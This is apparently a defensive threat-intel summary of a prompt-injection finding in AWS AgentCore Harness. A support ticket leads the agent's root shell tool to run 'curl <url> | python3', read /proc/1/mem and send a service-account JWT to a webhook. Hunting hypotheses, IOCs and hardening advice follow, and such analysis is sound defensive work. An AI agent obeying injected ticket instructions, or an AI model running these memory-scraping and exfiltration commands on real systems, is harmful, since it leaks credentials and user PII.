4 minhigh
A Vault with a Heap-View: The Uncomfortable Space Between AgentCore Harness and Identity
Prompt injection in AWS AgentCore Harness default shell tool allows attackers to read process memory and exfiltrate plaintext service account credentials from the Identity vault. The default shell tool in AWS AgentCore Harness runs as root and shares a memory space with the harness runtime. An attacker can use indirect prompt injection to execute commands that read /proc/1/mem, extracting plaintext JWTs resolved from the Identity vault and exfiltrating them to an external server.
Sens:▲ 24hConf:
IOCs4
3file path1filename
Detection / Hunteropenrouter
Immediate Actions
defender takeaway
- Scope allowedTools at InvokeHarness time to only required tools per session.
- Restrict Identity vault service accounts to least privilege for downstream integrations.
- Monitor and filter outbound traffic from harness containers to non-whitelisted endpoints.
Key Takeaways
- Shell and file_operations tools are enabled by default in AgentCore Harness.
- The shell tool runs as root, inheriting full system and process memory access.
- Indirect prompt injection via a support ticket triggered the malicious shell command.
- Exfiltrated JWT belonged to the mcp-service operator account, not the end-user.
- AWS closed the report as informative under the shared responsibility model.
Attack Chain
- Initial Access: Indirect prompt injection via support ticket instructs agent to curl a script
- Execution: Shell tool downloads and executes Python recon script as root
- Discovery: Script reads /proc/1/maps and /proc/1/mem to scan harness runtime memory
- Credential Access: Script extracts plaintext JWT and MCP server URL from PID 1 heap
- Exfiltration: Script POSTs JWT and URL to attacker-controlled webhook
- Impact: Attacker replays JWT against MCP server to access PII
Affected Systems
- AWS AgentCore Harness
- AWS AgentCore Identity
- Model Context Protocol (MCP) servers
Detection Availability
No detection rules or queries are published in the source article.
Detection Engineering Assessment
Hypotheses are starting points derived from the article, not findings about your environment; validate against your own telemetry.
| Dimension | Rating | Rationale |
|---|---|---|
| EDR Visibility | Medium | Shell tool runs as root inside a managed container; EDR may not be deployed or may lack visibility into managed agent runtimes. |
| Network Visibility | Medium | Outbound HTTP POST to webhook[.]site is visible at the network layer if egress monitoring is configured. |
| Detection Difficulty | Hard | Malicious activity is embedded within normal agent shell execution and requires behavioral context to distinguish. |
Hunting Hypotheses
| Hypothesis | Telemetry | Stage | FP Risk |
|---|---|---|---|
| Hunt for processes reading /proc//mem or /proc//maps files, indicating memory scraping behavior (T1005). | Container runtime process logs, auditd | Credential Access | Low — legitimate diagnostic tools rarely read /proc/1/mem |
| Hunt for outbound HTTP POST requests from AgentCore containers to non-whitelisted domains (T1041). | VPC Flow Logs, DNS logs | Exfiltration | Medium — agents may legitimately call external APIs |
Required Log Sources
- AWS CloudTrail InvokeHarness API calls
- VPC Flow Logs
- Container runtime process logs
- DNS resolution logs
Key Behavioral Indicators
- Python process reading /proc/1/mem or /proc/1/maps
- curl piped to python3 inside AgentCore container
- Outbound connections to webhook.site from harness
- Shell tool execution triggered by support ticket content
Control Gaps
- Default shell tool lacks sandboxing from credential resolution process
- allowedTools scoping only at InvokeHarness, not CreateHarness
- No egress filtering by default on harness containers
False Positive Assessment
Medium — Legitimate agent shell usage and external API calls are common; distinguishing malicious memory reads requires behavioral baselines.
Recommendations
Suggestions to evaluate against your own environment, tooling, and incident-response procedures — not directives.
Infrastructure Hardening
- Implement egress filtering on harness containers to block webhook and unknown domains.
- Run shell tool in isolated sandbox separate from credential resolution process.
- Apply network policies restricting harness container access to known MCP servers only.
User Protection
- Sanitize and scan inbound support tickets for prompt injection payloads.
- Use permissive models only in isolated non-production environments.
Security Awareness
- Train operators on risks of default tool configurations in AI agent harnesses.
- Review shared responsibility model boundaries for managed AI runtimes.
MITRE ATT&CK Mapping
MITRE ATT&CK Mapping9 techniques
Tactic
Execution
Tactic
Credential Access
Tactic
Collection
Tactic
Exfiltration
Additional IOCs
- File Paths:
/opt/amazon/lib/python3.10/- Filesystem path containing AgentCore Python packages./proc/1/mem- Raw memory file for PID 1, readable by shell tool./proc/1/maps- Memory layout file for PID 1, used for heap scanning.
- Command Lines:
- Purpose: Download and execute recon script via indirect prompt injection | Tools:
curl,python3| Stage: Execution |curl <url> | python3 - Purpose: Read process memory layout and raw memory | Tools:
python3| Stage: Credential Access |open('/proc/1/mem', 'rb')
- Purpose: Download and execute recon script via indirect prompt injection | Tools:
Showing defanged values
- filenamepid1_identity_recon_exfil.pyScript scanning heap for JWTs and MCP URLs.
- file_path/opt/amazon/lib/python3.10/Filesystem path containing AgentCore Python packages.
- file_path/proc/1/mapsMemory layout file for PID 1, used for heap scanning.
- file_path/proc/1/memRaw memory file for PID 1, readable by shell tool.
